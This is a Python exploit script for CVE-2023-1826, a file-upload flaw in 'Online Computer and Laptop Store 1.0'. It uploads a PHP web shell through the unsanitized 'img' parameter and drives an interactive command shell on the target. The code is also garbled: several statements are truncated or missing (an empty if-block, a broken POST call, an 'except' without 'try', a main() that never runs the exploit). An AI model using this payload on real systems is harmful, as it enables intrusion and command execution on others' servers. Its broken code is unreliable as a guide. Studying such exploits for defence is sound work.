#!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
# Date: 09/04/2023
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Debian 11.6
# CVE : CVE-2023-1826

# Exploit Description : The application does not sanitize the 'img' parameter when sending data to '/classes/SystemSettings.php?f=update_settings'. An attacker can exploit this issue by uploading a PHP file and accessing it, leading to Remote Code Execution.
import requests
from argparse import ArgumentParser
from uuid import uuid4
from datetime import datetime, timezone

def interactiveShell(fileUrl: str):
    print("Entering pseudo-shell. Type 'exit' to quit")
    while True:
        command = input("\n$ ")
        if command == "exit":

        response = requests.get(f"{fileUrl}?cmd={command}")

def uploadFile(url: str, filename: str, content):
    endpoint = f"{url}/classes/SystemSettings.php?f=update_settings"
    file = {"img": (filename, content)}

    response =, files=file)
    return response

def getUploadedFileUrl(url: str, filename: str):
    timeNow = # UTC time, rounded to minutes
    epoch = int(timeNow.timestamp()) # Time in milliseconds
    possibleFilename = f"{epoch}_{filename}"
    fileUrl = f"{url}/uploads/{possibleFilename}"
    response = requests.get(fileUrl)
    if response.status_code == 200:
        return fileUrl

def exploit(url: str):
    filename = str(uuid4()) + ".php"
    content = "<?php system($_GET['cmd'])?>"
    response = uploadFile(url, filename, content)

    if response.status_code != 200:
        print(f"[File Upload] Got status code {response.status_code}. Expected 200.")

    uploadedUrl = getUploadedFileUrl(url, filename)
    if uploadedUrl == None:
        print("Error. Could not find the uploaded file.")
    print(f"Uploaded file is at {uploadedUrl}")

    except KeyboardInterrupt:

def getWebsiteURL(url: str):
    if not url.startswith("http"):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    return url

def main():
    parser = ArgumentParser(description="Exploit for CVE-2023-1826")
    parser.add_argument("url", type=str, help="The url to the application's installation. Example: http://mysite:8080/php-ocls/")
    args = parser.parse_args()

    url = getWebsiteURL(args.url)

if __name__ == "__main__":